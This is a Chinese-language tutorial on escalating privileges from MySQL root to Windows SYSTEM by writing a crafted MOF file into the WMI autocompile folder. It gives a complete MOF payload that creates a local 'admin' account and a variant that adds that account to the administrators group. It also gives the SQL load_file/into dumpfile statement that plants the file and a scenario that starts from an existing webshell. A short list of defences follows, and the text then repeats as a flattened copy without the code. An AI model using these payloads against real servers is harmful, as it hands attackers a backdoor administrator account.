MySQL数据库Root权限MOF方法提权研究
字数 1266 2025-08-29 08:31:41

MySQL数据库Root权限MOF方法提权研究

一、概述

MySQL Root权限MOF方法提权是一种利用Windows管理规范(WMI)的托管对象格式(MOF)文件实现权限提升的技术。该技术最初由国外安全研究员Kingcope发布,被称为"MySQL Windows Remote System Level Exploit"。

二、技术原理

1. WMI与MOF文件

Windows管理规范(WMI)提供了三种方法编译MOF文件到WMI存储库:

  1. 运行Mofcomp.exe:将MOF文件作为命令行参数
  2. 使用IMofCompiler接口:通过$CompileFile方法
  3. 拖放方式:将MOF文件放入%SystemRoot%\System32\Wbem\MOF文件夹

Microsoft建议使用前两种方法,第三种方法仅为向后兼容性保留。

2. 提权机制

利用MySQL的root权限将特制的MOF文件写入系统目录,当WMI服务自动执行该文件时,可实现命令执行。

三、利用前提条件

  1. 具备MySQL的root权限
  2. 能够将文件复制到%SystemRoot%\System32\Wbem\MOF目录
  3. 目标系统通常为Windows 2003及以下版本(Windows 2008及以上因保护机制较难成功)

四、利用步骤详解

1. 准备MOF文件

创建名为nullevt.mof的文件,内容如下:

#pragma namespace("\\.\root\subscription")

instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};

instance of __FilterToConsumerBinding
{
    Consumer = $Consumer;
    Filter = $EventFilter;
};

该文件定义了一个事件过滤器,当系统时间的秒数为5时,执行添加用户的命令。

2. 上传MOF文件

nullevt.mof上传到服务器可写目录,如C:\RECYCLER\

3. 通过MySQL导入MOF文件

执行以下SQL语句将文件导入系统目录:

select load_file('C:\RECYCLER\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

4. 验证结果

系统会自动执行MOF文件中的命令,可通过net user命令查看是否成功添加用户。

五、实战利用示例

  1. 环境准备:Windows 2003 + Apache + PHP,已获取Webshell权限
  2. 上传文件:将MOF文件上传至可写目录
  3. 执行SQL:通过MySQL客户端或Webshell的数据库管理功能执行导入语句
  4. 提升权限:修改MOF文件中的命令为将用户加入管理员组:
    ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe localgroup administrators admin /add\")";
    

六、防御措施

  1. 数据库连接:应用程序中避免使用root账号连接数据库
  2. 密码强度:root账号使用强密码(大小写字母+数字+特殊字符,15位以上)
  3. 目录权限
    • 限制MySQL数据库目录的权限,确保IIS用户无法读写
    • 禁止写入c:\windows\system32\wbem目录
  4. 系统升级:升级到Windows 2008及以上版本

七、注意事项

  1. 该技术在Windows 7及更高版本上可能因权限限制而失败
  2. 实际利用时需要根据目标环境调整MOF文件中的命令
  3. 该技术已被广泛知晓,现代系统中防护措施较为完善

八、参考链接

原始漏洞信息:MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit

MySQL数据库Root权限MOF方法提权研究 一、概述 MySQL Root权限MOF方法提权是一种利用Windows管理规范(WMI)的托管对象格式(MOF)文件实现权限提升的技术。该技术最初由国外安全研究员Kingcope发布,被称为"MySQL Windows Remote System Level Exploit"。 二、技术原理 1. WMI与MOF文件 Windows管理规范(WMI)提供了三种方法编译MOF文件到WMI存储库: 运行Mofcomp.exe :将MOF文件作为命令行参数 使用IMofCompiler接口 :通过$CompileFile方法 拖放方式 :将MOF文件放入 %SystemRoot%\System32\Wbem\MOF 文件夹 Microsoft建议使用前两种方法,第三种方法仅为向后兼容性保留。 2. 提权机制 利用MySQL的root权限将特制的MOF文件写入系统目录,当WMI服务自动执行该文件时,可实现命令执行。 三、利用前提条件 具备MySQL的root权限 能够将文件复制到 %SystemRoot%\System32\Wbem\MOF 目录 目标系统通常为Windows 2003及以下版本(Windows 2008及以上因保护机制较难成功) 四、利用步骤详解 1. 准备MOF文件 创建名为 nullevt.mof 的文件,内容如下: 该文件定义了一个事件过滤器,当系统时间的秒数为5时,执行添加用户的命令。 2. 上传MOF文件 将 nullevt.mof 上传到服务器可写目录,如 C:\RECYCLER\ 。 3. 通过MySQL导入MOF文件 执行以下SQL语句将文件导入系统目录: 4. 验证结果 系统会自动执行MOF文件中的命令,可通过 net user 命令查看是否成功添加用户。 五、实战利用示例 环境准备 :Windows 2003 + Apache + PHP,已获取Webshell权限 上传文件 :将MOF文件上传至可写目录 执行SQL :通过MySQL客户端或Webshell的数据库管理功能执行导入语句 提升权限 :修改MOF文件中的命令为将用户加入管理员组: 六、防御措施 数据库连接 :应用程序中避免使用root账号连接数据库 密码强度 :root账号使用强密码(大小写字母+数字+特殊字符,15位以上) 目录权限 : 限制MySQL数据库目录的权限,确保IIS用户无法读写 禁止写入 c:\windows\system32\wbem 目录 系统升级 :升级到Windows 2008及以上版本 七、注意事项 该技术在Windows 7及更高版本上可能因权限限制而失败 实际利用时需要根据目标环境调整MOF文件中的命令 该技术已被广泛知晓,现代系统中防护措施较为完善 八、参考链接 原始漏洞信息: MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit